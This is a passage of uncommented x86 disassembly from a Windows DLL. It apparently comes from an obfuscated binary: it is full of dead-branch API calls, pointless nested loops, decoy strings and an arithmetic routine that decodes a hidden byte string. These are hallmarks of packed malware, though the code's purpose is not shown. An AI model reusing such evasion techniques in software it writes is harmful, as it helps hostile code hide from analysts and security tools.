mov dword [ebp - 0xe8], eax
mov dword [ebp - 0x4e4], 0x60d5
mov dword [ebp - 0x748], str.abc_efquyvul_qzoxt_hatzrzbwt_knyvdw_wxviyosx_ddsxtggcs_wqjviflo
cmp dword [ebp - 0x4e4], 0x6364
jle 0x1001d8db
and dword [ebp - 0x208], 0
jmp 0x1001d81b
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0x12b1
jge 0x1001d8db
and dword [ebp - 0x200], 0
jmp 0x1001d841
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0x6a98
jge 0x1001d8d6
and dword [ebp - 0x284], 0
jmp 0x1001d867
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 0x7a10
jge 0x1001d8d1
mov eax, dword [ebp - 0x200]
imul eax, dword [ebp - 0x284]
xor eax, dword [ebp - 0x208]
cdq
mov dword [ebp - 0x688], eax
mov dword [ebp - 0x684], edx
push dword [ebp - 0x684]
push dword [ebp - 0x688]
lea ecx, [ebp - 0xab8]
call fcn.10001341
pop ecx
pop ecx
mov dword [ebp - 0x5f8], eax
mov ecx, dword [ebp - 0x5f8]
call fcn.100013b2
push eax
call fcn.10044ce0
pop ecx
lea ecx, [ebp - 0xab8]
call fcn.100013a8
jmp 0x1001d85a
jmp 0x1001d834
jmp 0x1001d80e
mov byte [ebp - 0xa9], 0
mov dword [ebp - 4], 0x11
cmp dword [ebp - 0x4e4], 0x5f6c
jge 0x1001d901
push dword [ebp - 0x748]
call fcn.10044ce0
pop ecx
jmp 0x1001d91d
or dword [ebp - 4], 0xffffffff
jmp 0x1001d927
movzx eax, byte [ebp - 0xa9]
test eax, eax
je 0x1001d944
push 0x1c19
push 0x12b
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
mov dword [ebp - 0xe8], 3
jmp 0x1001d95d
mov eax, dword [ebp - 0xe8]
dec eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0
jl 0x1001d9e0
mov dword [ebp - 0x92c], 0xfffc
mov dword [ebp - 0x994], 0xd1d8
mov dword [ebp - 0x990], 0xd1d8
mov dword [ebp - 0x98c], 0xd1d8
mov dword [ebp - 0x988], 0xd1d8
mov dword [ebp - 0x43c], 1
cmp dword [ebp - 0x43c], 0
jg 0x1001d9b7
mov dword [ebp - 0x53c], 1
jmp 0x1001d9be
and dword [ebp - 0x53c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x53c]
mov dword [ebp + eax - 0x880], ecx
mov dword [ebp - 0x600], 0
jmp 0x1001d950
jmp 0x1001d746
mov byte [ebp - 0x79], 0
movzx eax, byte [ebp - 0x79]
test eax, eax
je 0x1001da00
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRect]
xor eax, eax
mov ecx, dword [ebp - 0x2a4]
mov word [ebp + ecx*2 - 0x81c], ax
jmp 0x1001d691
mov dword [ebp - 0x2b4], 1
mov dword [ebp - 0x444], 0x6477
mov dword [ebp - 0x6ec], str.cwvvlhbzq_jhlwvh_frzx_csbbuuu_zaeccdte
cmp dword [ebp - 0x444], 0x66ed
jle 0x1001daf0
and dword [ebp - 0x218], 0
jmp 0x1001da59
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0x5181
jge 0x1001daf0
and dword [ebp - 0x210], 0
jmp 0x1001da7f
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0x2bd2
jge 0x1001daeb
and dword [ebp - 0x28c], 0
jmp 0x1001daa1
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0x7f84
jge 0x1001dae9
mov eax, dword [ebp - 0x210]
imul eax, dword [ebp - 0x28c]
mov ecx, dword [ebp - 0x218]
sub ecx, eax
mov eax, ecx
cdq
mov dword [ebp - 0x694], eax
mov dword [ebp - 0x690], edx
push dword [ebp - 0x690]
push dword [ebp - 0x694]
mov ecx, 0x100761b8
call fcn.100062df
jmp 0x1001da94
jmp 0x1001da72
jmp 0x1001da4c
mov dword [ebp - 0x2b4], 0xfffffff6
jmp 0x1001db09
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0x10
jge 0x1001db33
mov byte [ebp - 0xb3], 0
movzx eax, byte [ebp - 0xb3]
test eax, eax
je 0x1001db31
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
jmp 0x1001dafc
mov dword [ebp - 4], 0x13
cmp dword [ebp - 0x444], 0x642c
jge 0x1001db56
mov edx, dword [ebp - 0x6ec]
mov ecx, 0x100761b8
call fcn.10008b0d
jmp 0x1001db72
or dword [ebp - 4], 0xffffffff
jmp 0x1001db7c
mov byte [ebp - 0xad], 0
movzx eax, byte [ebp - 0xad]
test eax, eax
je 0x1001db96
push 0
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
cmp dword [ebp - 0x468], 0
je 0x1001f679
mov dword [ebp - 0xf0], 0xfffffff7
mov dword [ebp - 0x714], 0x2978d8ef
cmp dword [ebp - 0xf0], 0
je 0x1001dce3
mov dword [ebp - 0x2d4], 1
mov dword [ebp - 0x220], 0
jmp 0x1001dbe7
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 1
jge 0x1001dc03
mov eax, dword [ebp - 0x220]
mov dword [ebp + eax*4 - 0x608], 0x773672d7
jmp 0x1001dbda
mov eax, dword [ebp - 0xf0]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x608], eax
mov eax, dword [ebp - 0xf0]
add eax, 0xfa32
cmp eax, 8
jge 0x1001dc32
mov dword [ebp - 0x4ec], 1
jmp 0x1001dc39
and dword [ebp - 0x4ec], 0
mov eax, dword [ebp - 0x2d4]
mov ecx, dword [ebp - 0x4ec]
lea eax, [ecx + eax + 0xb785]
cmp eax, 1
jb 0x1001dc5d
mov dword [ebp - 0x44c], 1
jmp 0x1001dc64
and dword [ebp - 0x44c], 0
mov eax, dword [ebp - 0x44c]
mov dword [ebp - 0x2d4], eax
mov eax, dword [ebp - 0x2d4]
cmp eax, dword [ebp - 0xf0]
jne 0x1001dc8a
mov dword [ebp - 0x590], 1
jmp 0x1001dc91
and dword [ebp - 0x590], 0
cmp dword [ebp - 0x590], 0xfffffffb
jg 0x1001dcaa
push 0xfffffffffffffffb
pop eax
test eax, eax
jne 0x1001dcaa
and dword [ebp - 0x454], 0
jmp 0x1001dcb4
mov dword [ebp - 0x454], 1
mov eax, dword [ebp - 0xf0]
cmp dword [ebp - 0x454], eax
jne 0x1001dcce
mov dword [ebp - 0x318], 1
jmp 0x1001dcd5
and dword [ebp - 0x318], 0
mov eax, dword [ebp - 0x318]
mov dword [ebp - 0x714], eax
jmp 0x1001dd02
mov byte [ebp - 0xa5], 0
movzx eax, byte [ebp - 0xa5]
test eax, eax
je 0x1001dd02
push 0
push 0x2010
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
mov dword [ebp - 0x18], 6
mov dword [ebp - 0x618], 0xa34071e9
mov dword [ebp - 0x44], 0
jmp 0x1001dd23
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 3
jge 0x1001dd39
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x5a8], 0x10c93b4e
jmp 0x1001dd1c
mov dword [ebp - 0x44], 0
jmp 0x1001dd49
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 2
jge 0x1001dd5f
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x88c], 0xffffffff
jmp 0x1001dd42
mov dword [ebp - 0x18], 0
jmp 0x1001dd6f
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jg 0x1001e201
mov dword [ebp - 0x2dc], 0x88a97331
mov dword [ebp - 0x320], 0x5987
mov dword [ebp - 0x610], str.fdxy_spfktaat_xpdxwzd_dnulldg
cmp dword [ebp - 0x320], 0x5c6a
jle 0x1001de4f
and dword [ebp - 0x294], 0
jmp 0x1001ddbd
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0x6974
jge 0x1001de4f
and dword [ebp - 0x228], 0
jmp 0x1001dde3
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0x2875
jge 0x1001de4a
and dword [ebp - 0x14c], 0
jmp 0x1001de05
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0x2979
jge 0x1001de48
mov eax, dword [ebp - 0x294]
xor eax, dword [ebp - 0x228]
xor eax, dword [ebp - 0x14c]
cdq
mov dword [ebp - 0x6a0], eax
mov dword [ebp - 0x69c], edx
push dword [ebp - 0x69c]
push dword [ebp - 0x6a0]
mov ecx, 0x100761b8
call fcn.100062df
jmp 0x1001ddf8
jmp 0x1001ddd6
jmp 0x1001ddb0
mov dword [ebp - 4], 0x15
cmp dword [ebp - 0x320], 0x5963
jge 0x1001de72
mov edx, dword [ebp - 0x610]
mov ecx, 0x100761b8
call fcn.10008b0d
jmp 0x1001de8e
or dword [ebp - 4], 0xffffffff
jmp 0x1001de98
mov dword [ebp - 0x620], 0xffffffff
mov dword [ebp - 0x48], 0
jmp 0x1001deb2
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jge 0x1001dec8
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x2c4], 0xfffffff9
jmp 0x1001deab
mov dword [ebp - 0x48], 0
jmp 0x1001ded8
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jge 0x1001deee
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x7d8], 0xc996
jmp 0x1001ded1
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x2c4], 0
jmp 0x1001df1c
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2c4]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2c4], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2c4], 2
jg 0x1001df6a
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x5a8], 0
je 0x1001df3b
jmp 0x1001df6a
mov byte [ebp - 0xb5], 0
movzx eax, byte [ebp - 0xb5]
test eax, eax
je 0x1001df68
push 0x1fed
push 0x3f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
jmp 0x1001df01
mov eax, 0xed40
test eax, eax
je 0x1001e0eb
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x5a8]
mov dword [ebp - 0x860], eax
mov eax, dword [ebp - 0x2dc]
mov dword [ebp - 0x300], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x300]
mov dword [ebp + eax - 0x5a8], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x300]
mov dword [ebp + eax - 0x88c], ecx
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x5bc], eax
mov eax, dword [ebp - 0x2dc]
dec eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x5bc], 0xfffffffa
jg 0x1001dfe6
mov dword [ebp - 0x330], 1
jmp 0x1001dfed
and dword [ebp - 0x330], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2c4]
mov dword [ebp - 0x9ac], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2c4]
mov dword [ebp - 0x86c], eax
cmp dword [ebp - 0x18], 0
jae 0x1001e025
mov dword [ebp - 0x328], 1
jmp 0x1001e02c
and dword [ebp - 0x328], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2c4]
cmp dword [ebp - 0x328], eax
jge 0x1001e05d
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2c4], 0
je 0x1001e05d
mov dword [ebp - 0x2f4], 1
jmp 0x1001e064
and dword [ebp - 0x2f4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2f4]
mov dword [ebp + eax - 0x2c4], ecx
cmp dword [ebp - 0x2f4], 0
jne 0x1001e092
mov eax, 0xe004
test eax, eax
jne 0x1001e092
and dword [ebp - 0x314], 0
jmp 0x1001e09c
mov dword [ebp - 0x314], 1
mov eax, dword [ebp - 0x330]
cmp eax, dword [ebp - 0x314]
jge 0x1001e0b6
mov dword [ebp - 0x340], 1
jmp 0x1001e0bd
and dword [ebp - 0x340], 0
mov eax, dword [ebp - 0x340]
mov dword [ebp - 0x618], eax
mov eax, 0x3c9e
test eax, eax
je 0x1001e0eb
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x5a8], 0
je 0x1001e0eb
mov dword [ebp - 0x348], 1
jmp 0x1001e0f2
and dword [ebp - 0x348], 0
mov eax, dword [ebp - 0x348]
sub eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
jg 0x1001e10c
mov dword [ebp - 0x71c], 1
jmp 0x1001e113
and dword [ebp - 0x71c], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x8b8], eax
or eax, 0xffffffff
cmp eax, 1
jg 0x1001e132
or eax, 0xffffffff
jne 0x1001e132
and dword [ebp - 0x350], 0
jmp 0x1001e13c
mov dword [ebp - 0x350], 1
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x350]
neg eax
jne 0x1001e156
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x5a8], 0
je 0x1001e17f
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x5a8], 0
je 0x1001e17f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7d8], 0
je 0x1001e17f
mov dword [ebp - 0x358], 1
jmp 0x1001e186
and dword [ebp - 0x358], 0
cmp dword [ebp - 0x358], 0xfffd
je 0x1001e19e
mov dword [ebp - 0x360], 1
jmp 0x1001e1a5
and dword [ebp - 0x360], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x360], eax
je 0x1001e1bc
mov dword [ebp - 0x368], 1
jmp 0x1001e1c3
and dword [ebp - 0x368], 0
mov eax, dword [ebp - 0x368]
neg eax
jne 0x1001e1e6
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7d8], 0
jne 0x1001e1e6
and dword [ebp - 0x370], 0
jmp 0x1001e1f0
mov dword [ebp - 0x370], 1
mov eax, dword [ebp - 0x370]
mov dword [ebp - 0x620], eax
jmp 0x1001dd68
mov byte [ebp - 0x144], 0xb
mov byte [ebp - 0x143], 0xf8
mov byte [ebp - 0x142], 1
mov byte [ebp - 0x141], 0
mov byte [ebp - 0x140], 7
mov byte [ebp - 0x13f], 0x24
mov byte [ebp - 0x13e], 4
mov byte [ebp - 0x13d], 0x33
mov byte [ebp - 0x13c], 0xc
mov byte [ebp - 0x13b], 1
mov byte [ebp - 0x13a], 0xd
mov byte [ebp - 0x139], 0
mov byte [ebp - 0x138], 9
mov byte [ebp - 0x137], 0x17
mov byte [ebp - 0x136], 3
mov byte [ebp - 0x135], 0x34
mov byte [ebp - 0x134], 8
mov byte [ebp - 0x133], 0x34
mov byte [ebp - 0x132], 0
mov byte [ebp - 0x131], 0x23
mov byte [ebp - 0x130], 2
mov byte [ebp - 0x12f], 0x33
mov byte [ebp - 0x12e], 6
mov byte [ebp - 0x12d], 0x17
mov byte [ebp - 0x12c], 5
mov byte [ebp - 0x12b], 0xc
mov byte [ebp - 0x12a], 0xa
mov byte [ebp - 0x129], 0x1d
mov dword [ebp - 0x154], 1
mov dword [ebp - 0x800], 0xcba2afe0
mov dword [ebp - 0x7fc], 0xcba2afe0
mov dword [ebp - 0x7f8], 0xcba2afe0
mov dword [ebp - 0x7f4], 0xcba2afe0
mov dword [ebp - 0x154], 0
jmp 0x1001e310
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 9
jg 0x1001e566
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf8], 0
jmp 0x1001e340
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 3
jg 0x1001e53b
mov eax, dword [ebp - 0xf8]
cmp dword [ebp + eax*4 - 0x800], 0
je 0x1001e4df
mov dword [ebp - 0x15c], 0
jmp 0x1001e37a
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 1
jge 0x1001e396
mov eax, dword [ebp - 0x15c]
mov dword [ebp + eax*4 - 0x164], 0x735e4b78
jmp 0x1001e36d
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x164], 3
jmp 0x1001e3c4
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x164]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x164], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x164], 0
jl 0x1001e4dd
mov byte [ebp - 0xa7], 0
movzx eax, byte [ebp - 0xa7]
test eax, eax
je 0x1001e4d8
mov dword [ebp - 0x378], 0x7c3f
mov dword [ebp - 0x704], str.jbfmdn_wecngrfhx_natmccii_cbej_oritzuqys_lequgee
cmp dword [ebp - 0x378], 0x7eef
jle 0x1001e487
and dword [ebp - 0x16c], 0
jmp 0x1001e424
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0x649f
jge 0x1001e487
and dword [ebp - 0x174], 0
jmp 0x1001e446
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0x38a3
jge 0x1001e485
mov eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0x174]
sar eax, cl
cdq
mov dword [ebp - 0x6ac], eax
mov dword [ebp - 0x6a8], edx
push dword [ebp - 0x6a8]
push dword [ebp - 0x6ac]
mov ecx, 0x100761b8
call fcn.100062df
jmp 0x1001e439
jmp 0x1001e417
push 0
call dword [sym.imp.USER32.dll_DestroyCursor]
mov dword [ebp - 4], 0x17
cmp dword [ebp - 0x378], 0x7a56
jge 0x1001e4b2
mov edx, dword [ebp - 0x704]
mov ecx, 0x100761b8
call fcn.10008b0d
jmp 0x1001e4ce
or dword [ebp - 4], 0xffffffff
jmp 0x1001e4d8
jmp 0x1001e3a9
jmp 0x1001e536
mov byte [ebp - 0xaf], 0
movzx eax, byte [ebp - 0xaf]
test eax, eax
je 0x1001e536
push 0x2182
push 0x1508
push 0x25b3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0xa33
push 0x1d8c
push 0x67a
push 0x20ca
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
jmp 0x1001e333
mov byte [ebp - 0xab], 0
movzx eax, byte [ebp - 0xab]
test eax, eax
je 0x1001e561
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
jmp 0x1001e303
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x144]
and eax, 0x9d
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x144]
or ecx, 0x9d
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x144]
mov byte [ebp + eax - 0x5b8], cl
mov dword [ebp - 0x710], 0xffffffff
mov dword [ebp - 0x17c], 0
jmp 0x1001e5c7
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 1
jge 0x1001e5e3
mov eax, dword [ebp - 0x17c]
mov dword [ebp + eax*4 - 0x88], 0x7e2799ac
jmp 0x1001e5ba
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x88], 0
jmp 0x1001e611
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x88]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x88], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x88], 0x12
je 0x1001e8c3
mov dword [ebp - 0x50], 0xffffffff
mov dword [ebp - 0x184], 0
jmp 0x1001e645
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 1
jge 0x1001e661
mov eax, dword [ebp - 0x184]
mov dword [ebp + eax*4 - 0x388], 0xfd49
jmp 0x1001e638
mov dword [ebp - 0x380], 0x47a9
mov dword [ebp - 0x724], str.dhytm_kpla_smfa_nrqgqsv_pcpkdtuxd_nbcqujkt_swjd_fdbqa_zredr_axhnhsbfd_rdif
cmp dword [ebp - 0x380], 0x4a31
jle 0x1001e787
push 0x765
push 0x223c
push 0x17d8
push 0x2058
push 0x385
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PatBlt]
and dword [ebp - 0x18c], 0
jmp 0x1001e6c8
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0x5bca
jge 0x1001e787
and dword [ebp - 0x194], 0
jmp 0x1001e6ee
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0x25c7
jge 0x1001e782
and dword [ebp - 0x19c], 0
jmp 0x1001e714
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0x7a40
jge 0x1001e77d
mov eax, dword [ebp - 0x18c]
add eax, dword [ebp - 0x194]
xor eax, dword [ebp - 0x19c]
cdq
mov dword [ebp - 0x6b8], eax
mov dword [ebp - 0x6b4], edx
push dword [ebp - 0x6b4]
push dword [ebp - 0x6b8]
lea ecx, [ebp - 0xa4c]
call fcn.10001341
pop ecx
pop ecx
mov dword [ebp - 0x62c], eax
mov ecx, dword [ebp - 0x62c]
call fcn.100013b2
push eax
call fcn.10044ce0
pop ecx
lea ecx, [ebp - 0xa4c]
call fcn.100013a8
jmp 0x1001e707
jmp 0x1001e6e1
jmp 0x1001e6bb
mov dword [ebp - 0x50], 0
jmp 0x1001e797
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jge 0x1001e7ad
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x388], 0x5b7c
jmp 0x1001e790
mov dword [ebp - 4], 0x19
cmp dword [ebp - 0x380], 0x4617
jge 0x1001e7cc
push dword [ebp - 0x724]
call fcn.10044ce0
pop ecx
jmp 0x1001e7e8
or dword [ebp - 4], 0xffffffff
jmp 0x1001e7f2
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x88]
push 4
pop edx
imul edx, edx, 0
mov edx, dword [ebp + edx - 0x388]
lea ecx, [edx + ecx + 0xbf38]
cmp ecx, dword [ebp + eax - 0x88]
jne 0x1001e83c
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x88], 0
je 0x1001e837
jmp 0x1001e8c3
jmp 0x1001e8be
mov dword [ebp - 0x638], 0x3e34
mov byte [ebp - 0xb1], 0
movzx eax, byte [ebp - 0xb1]
test eax, eax
je 0x1001e86a
push 0x24f5
push 0
push 0x1a4
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x50], 0
jmp 0x1001e87a
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 2
jle 0x1001e8be
mov eax, dword [ebp - 0x638]
mov dword [ebp - 0x710], eax
mov byte [ebp - 0xa2], 0
movzx eax, byte [ebp - 0xa2]
test eax, eax
je 0x1001e8bc
push 0xb1c
push 0x1c25
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
jmp 0x1001e873
jmp 0x1001e5f6
mov dword [ebp - 0x38], 2
and dword [ebp - 0x2e4], 0
jmp 0x1001e8db
mov eax, dword [ebp - 0x38]
inc eax
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x1c
jae 0x1001eb8e
mov dword [ebp - 0x798], 0xcf5720e
mov dword [ebp - 0x794], 0xcf5720e
mov dword [ebp - 0x790], 0xcf5720e
mov dword [ebp - 0x78c], 0xcf5720e
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0x100], 0xdb6d0374
mov dword [ebp - 0x878], 0x8ad64de8
mov dword [ebp - 0x8c0], 0xbe734e2e
mov dword [ebp - 0x3a0], 0xfffffffd
mov dword [ebp - 0x1a4], 0
jmp 0x1001e958
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 2
jge 0x1001e974
mov eax, dword [ebp - 0x1a4]
mov dword [ebp + eax*4 - 0x898], 0x22cbd4da
jmp 0x1001e94b
mov dword [ebp - 0xc4], 3
jmp 0x1001e98d
mov eax, dword [ebp - 0xc4]
dec eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0
jl 0x1001eae0
mov dword [ebp - 0x884], 0x77dfcc86
mov dword [ebp - 0x644], 0x324067bc
mov dword [ebp - 0x8c8], 0x4b71808a
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0xc4]
mov ecx, dword [ebp + ecx*4 - 0x798]
cmp ecx, dword [ebp + eax*4 - 0x798]
jne 0x1001e9e0
mov dword [ebp - 0x390], 1
jmp 0x1001e9e7
and dword [ebp - 0x390], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x798]
cmp dword [ebp - 0x390], eax
jge 0x1001ea08
mov dword [ebp - 0x398], 1
jmp 0x1001ea0f
and dword [ebp - 0x398], 0
mov eax, dword [ebp - 0x398]
mov dword [ebp - 0x100], eax
mov byte [ebp - 0xa4], 0
movzx eax, byte [ebp - 0xa4]
test eax, eax
je 0x1001ea3f
push 0x1c19
push 0x12b
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
mov dword [ebp - 0x100], 3
jmp 0x1001ea58
mov eax, dword [ebp - 0x100]
dec eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0
jl 0x1001eadb
mov dword [ebp - 0x890], 0xfffc
mov dword [ebp - 0x9a8], 0xd1d8
mov dword [ebp - 0x9a4], 0xd1d8
mov dword [ebp - 0x9a0], 0xd1d8
mov dword [ebp - 0x99c], 0xd1d8
mov dword [ebp - 0x3a0], 1
cmp dword [ebp - 0x3a0], 0
jg 0x1001eab2
mov dword [ebp - 0x3a8], 1
jmp 0x1001eab9
and dword [ebp - 0x3a8], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x3a8]
mov dword [ebp + eax - 0x898], ecx
mov dword [ebp - 0x644], 0
jmp 0x1001ea4b
jmp 0x1001e980
mov byte [ebp - 0xa6], 0
movzx eax, byte [ebp - 0xa6]
test eax, eax
je 0x1001eb01
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRect]
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x2e4]
movzx eax, byte [ebp + eax - 0x146]
movsx eax, byte [ebp + eax - 0x5b8]
mov ecx, dword [ebp - 0x38]
movzx ecx, byte [ebp + ecx - 0x143]
and ecx, eax
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x2e4]
movzx eax, byte [ebp + eax - 0x146]
movsx eax, byte [ebp + eax - 0x5b8]
mov edx, dword [ebp - 0x38]
movzx edx, byte [ebp + edx - 0x143]
and edx, eax
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x2e4]
movzx eax, byte [ebp + eax - 0x146]
movsx eax, byte [ebp + eax - 0x5b8]
mov esi, dword [ebp - 0x38]
movzx ebx, byte [ebp + esi - 0x143]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x38]
movzx eax, byte [ebp + eax - 0x144]
mov byte [ebp + eax - 0x5b8], bl
jmp 0x1001e8d3
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x5b8], 0
lea eax, [ebp - 0x5b8]
push eax
lea ecx, [ebp - 0xa0c]
call fcn.100231e0
mov dword [ebp - 4], 0x1b
mov dword [ebp - 0xcc], 1
mov dword [ebp - 0x58], 0
jmp 0x1001ebcf
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
